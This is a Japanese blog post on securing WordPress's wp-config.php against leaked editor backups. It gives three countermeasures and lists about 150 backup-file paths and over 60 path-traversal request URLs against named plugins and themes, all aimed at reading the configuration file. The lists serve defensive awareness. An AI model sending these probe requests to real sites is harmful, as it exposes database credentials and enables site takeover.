https://ドメイン/wp-config.phpでアクセスすることができます。通常phpファイルへのアクセスは、出力が空っぽになります。
普通に運用している際、このwp-config.phpを意識することはありませんが、以下のような事象でwp-config.php編集するタイミングが発生することがあります。
- ワードプレスの動作がおかしい、デバックモードを有効に。WP_DEBUG
- 自動保存の間隔を長くしたい。AUTOSAVE_INTERVAL
- 投稿のリビジョンを制限したい。WP_POST_REVISIONS
- ワードプレス本体の自動更新をやめたい。AUTOMATIC_UPDATER_DISABLED
この編集操作が、セキュリティに穴を開ける可能性があります。
wp-config.phpにはデータベース情報や重要な設定が含まれているため、もし攻撃者にこのファイルが盗まれると、サイトが完全に乗っ取られるリスクがあります。特にバックアップや一時ファイルが残っている場合、それらが攻撃者に利用されることがあります。
エディタで編集した際、自動で保存されるバックアップファイルが狙われています。
vim、emacs等のエディタは編集する前の状態を保存する仕組みがあります。
また、自分で編集する際、以前のファイルをバックアップして残して置くこともよくあります。
被害に遭わないように、求められる対策は3点です。
1) エディタのバックアップ機能をOFFにする。
エディタ(vimやemacsなど)のバックアップ機能は、編集中のファイルを一時的に保存するためのものですが、これがセキュリティホールになる可能性があります。攻撃者はこれらのバックアップファイルを探し出し、サイトに侵入しようとするため、バックアップ機能は必ずOFFにしておきましょう。
素のviがおすすめです。ただレンタルサーバーの環境によってはvimにリンクされている場合もあるので油断禁物
2) バックアップファイルは必ず「.php」を付けて保存する。
自分でバックアップファイルを作る際はファイル名の最後に.phpをつけます。
直接アクセスされてもphpとして動作するので、空っぽの出力になります。
3) ファイルの変更後、サーバー上に不要なバックアップが残っていないか確認する(ls -ltrコマンドを使用)。
編集後、ls -ltr で更新された日付順に並べてバックアップファイルがないか、目視するのもおすすめです。
tr指定で日付の古いもの順に並べられます。ターミナルに出力された最後の方が新しいファイルです。
攻撃者が探しているバックアップファイル名とは
例えば、以下のようなパスで攻撃者はwp-config.phpのバックアップやコピーを探します。
「/wp-config.php.bak」「/wp-config.php.old」「/wp-config.php_1」など、数多くのバリエーションが確認されています。
- /wp-config.php~
- /wp-config.php.bak
- /wp-config.php.save
- /wp-config.php.old
- /wp-config.phpe
- /wp-config.php_old
- /wp-config.phpOLD
- /wp-config.php_
- /wp-config.php1
- /wp-config.php.backup
- /wp-config.php.org
- /wp-config.php-old
- /wp-config.old
- /wp-config.php.orig
- /wp-config.php_bak
- /wp-config.bak
- /wp-config.php.bk
- /wp-config.php2
- /wp-config.txt
- /wp-config.php.bkp
- /wp-config.php-bak
- /wp-config.php_orig
- /wp-config.orig
- /wp-config.php.txt
- /wp-config.php_bk
- /wp-config.php__
- /wp-config.php_original
- /wp-config.php_backup
- /wp-config.php-original
- /wp-config.php.original
- /wp-config.php-
- /wp-config.php-backup
- /wp-config.backup
- /wp-config.php.new
- /wp-config.php.save.1
- /wp-config.php.dist
- /wp-config.php0
- /wp-config.phpbak
- /wp-config.php.1
- /wp-config-sample.php~
- /wp-config.php.resetwp_bak
- /wp-config.php_1
- /wp-config.php_new
- /wp-config.phpn
- /wp-config.bkp
- /wp-config.php.local
- /wp-config.php.dev
- /wp-config-backup
- /wp-config.org
- /wp-config.php.
- /wp-config.phpr
- /wp-config.php.disabled
- /wp-config-backup.txt
- /wp-config.back
- /wp-config-sample.php.bak
- /wp-config.bk
- /wp-config.new
- /wp-config.php.copy
- /wp-config.php_copy
- /wp-config.php.sample
- /wp-config-sample.php
- /wp-config.php3
- /wp-config.phpd
- /wp-config.php.prod
- /wp-config.save
- /wp-config.php.sav
- /wp-config.phpnew
- /wp-config.original
- /wp-config.php.b
- /wp-config.php-save
- /wp-config.php.2
- /wp-config.php.bak1
- /wp-config.php.0
- /wp-config.php.in
- /wp-config.php%23
- //wp-config.php~
- /wp-config.sav
- /wp-config.php.tmp
- /wp-config.php~~
- /wp-config.php_bak/wp-config.php-bak
- /.wp-config.php.old
- /.wp-config.bak
- /wp-config.phpa
- /wp-config.local
- /wp-config_backup
- /wp-config.phps
- /wp-config.phpb
- /wp-config.php.production
- /wp-config.php.gz
- /wordpress/wp-config.php~
- /wp-config.phporiginal
- /wp-config.php=
- /wp-config.copy
- /wp-config.dist
- /wp-config.php-o
- /wp-config.php.c
- /wp-config.php.bac
- /wp-config.tmp
- /wp-config.dev
- /wp-config.php.staging
- /wp-config.html
- /wp-config.htm
- /_wp-config
- /wp-config.php.temp
- /wp-config.
- /wp-config.phpo
- /wp-config_copy
- /blog/wp-config.php.bak
- /wp-config.1
- /blog/wp-config.php~
- /wp-config.php.tar
- /wp-config.sample
- /wordpress/wp-config.php.bak
- /wp-config.php.tar.gz
- /wp-config.php_tmp
- /wp-config.prod
- /_wp-config.php.bak
- /wp-config.php.backup.txt
- /wp-config.php4
- /wp-config.php.cust
- /wp-config.bac
- /.wp-config.php.bak
- /_wp-config.php
- /wp-config.php__olds
- /wp-config-sample.bak
- /wp-config.php.a
- /wp-config.php.html
- /wp-config.php______
- /wp/wp-config.php~
- /wp-config~
- /wp-config.good
- /wp-config.php6
- /wp-config.php.stage
- /wp-config.zip
- /wp-config.2
- /wp-config.php.zip
- /wp/wp-config.php.bak
- /.wp-config.php.swp
- /wp-content/uploads/wp-config-backup.txt
- /wordpress/wp-config.php.backup
- /.wp-config
- /wp-config.php5
- /wp-config.php.aws
- /wp-config.bak1
- /wp-config.ini
とにかく最新の状態にしておく
バックアップファイルを直接取得と並行して、脆弱性をついて取得しようと試みている気配もあります。
以下、ワードプレス本体の他、プラグインやテーマの脆弱性を狙っていることがわかります。
- /?aam-media=wp-config.php
- /wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=..%2F..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/multi-plugin-installer/mpi_download.php?filepath=..%2F..%2F..%2F&filename=wp-config.php
- /wp-config.php?aam-media=1
- /wp-content/themes/mTheme-Unus/css/css.php?files=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=..%2F..%2F..%2Fwp-config.php
- /wp%E2%80%94admin/admin%E2%80%94ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php
- /?mdocs-img-preview=wp-config.php
- /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/firestats/php/tools/get_config.php
- /wp-content/themes/authentic/includes/download.php?file=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/churchope/lib/downloadlink.php?file=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/google-document-embedder/libs/pdf.php?fn=lol.pdf&file=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=%2Fwp-config.php
- /wp-content/plugins/db-backup/download.php?file=..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/NativeChurch/download/download.php?file=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/wp-filemanager/incl/libfile.php?&path=..%2F..%2F..%2F..%2F&filename=wp-config.php&action=download
- /wp-content/plugins/wp-filemanager/incl/libfile.php?path=..%2F..%2F..%2F..%2F&filename=wp-config.php&action=download
- /wp-content/themes/parallelus-mingle/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/sf-booking/lib/downloads.php?file=%2Fwp-config.php
- /wp-content/plugins/site-import/admin/page.php?url=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/recent-backups/download-file.php?file_link=..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/u_parts/force-download.php?file=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/wechat-broadcast/wechat/Image.php?url=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/wp-miniaudioplayer/map_download.php?fileurl=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=..%2F..%2F..%2F..%2Fwp-config.php&file_size=10
- /wp-content/plugins/history-collection/download.php?var=..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/fluidracountry/download.php?file=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/pica-photo-gallery/picadownload.php?imgname=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/old-post-spinner/logview.php?ops_file=..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/responsive-visual/includes/download.php?file=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php%3A%2F%2Ffilter%2Fresource%3D..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=...%2F.%2F...%2F.%2F...%2F.%2Fwp-config.php
- /wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=..%2F..%2F..%2F..%2F..%2Fwp-config.php
- /general.php?file=wp-config.php
- /wp-content/themes/storepress/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/rttheme18/download.php?download=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/mac-dock-gallery/macdownload.php?albid=..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/MusicMaker/download.php?file=..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/ypo-theme/download.php?download=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/simple-image-manipulator/controller/download.php?filepath=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/imdb-widget/pic.php?url=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?name=wp-config.php&path=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/zip-attachments/download.php?za_file=..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/hello-elementor/down.php?path=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/paypal-currency-converter-basic-for-woocommerce/proxy.php?requrl=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/plugin-newsletter/preview.php?data=..%2F..%2F..%2F..%2Fwp-config.php
- /mdocs-posts/?mdocs-img-preview=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/estrutura-basica/scripts/download.php?arquivo=..%2F..%2Fwp-config.php
- /wp-content/plugins/wp-publication-archive/includes/openfile.php?file=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/antioch/lib/scripts/download.php?file=..%2F..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/uploads/sb-download.php?file=..%2F..%2Fwp-config.php
- /wp-content/plugins/apptha-slider-gallery/asgallDownload.php?imgname=..%2F..%2F..%2Fwp-load.php
- /?mdocs-img-preview=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=..%2F..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/urbancity/lib/scripts/download.php?file=..%2F..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/linenity/functions/download.php?imgurl=..%2F..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/duena/download.php?f=..%2F..%2F..%2Fwp-config.php
- /wp-content/themes/PlixPro/download.php?file=..%2F..%2F..%2Fwp-config.php
- /wp-content/plugins/codecanyon-5293356-ajax-store-locator-wordpress/sl_file_download.php?download_file=..%2F..%2F..%2Fwp-config.php
まとめ
wp-config.phpを編集する際は、エディタのバックアップファイルの存在に注意してくださいね。
- エディタのバックアップ機能をOFFにする。
- バックアップファイルは必ず「.php」を付けて保存する。
- ファイルの変更後、サーバー上に不要なバックアップが残っていないか確認する(ls -ltrコマンドを使用)。
脆弱性をついたアクセスもご紹介しています。こちらは、ワードプレス本体を更新する(自動更新がおすすめ)ことが重要です。
利用者が多そうなメジャーなテーマ、プラグインを選んで、最新版に更新して使い続けることが安心に繋がります。
- 初期費用0円(2022年8月4日に撤廃)
- 安定したサイト運営が可能(CPU/メモリ リソース保証 6コア/8GB〜)
- 契約中は独自ドメインつき 独自ドメイン永久無料特典があります
- 最大10日間無料で、サーバーのお試し利用ができます
- ディスクキャッシュも高速 NVMe SSDを採用(300GB〜)
- 大量アクセスでも安心 転送量は無制限
【このカテゴリーの最新記事】
-
no image
-
no image
-
no image
-
no image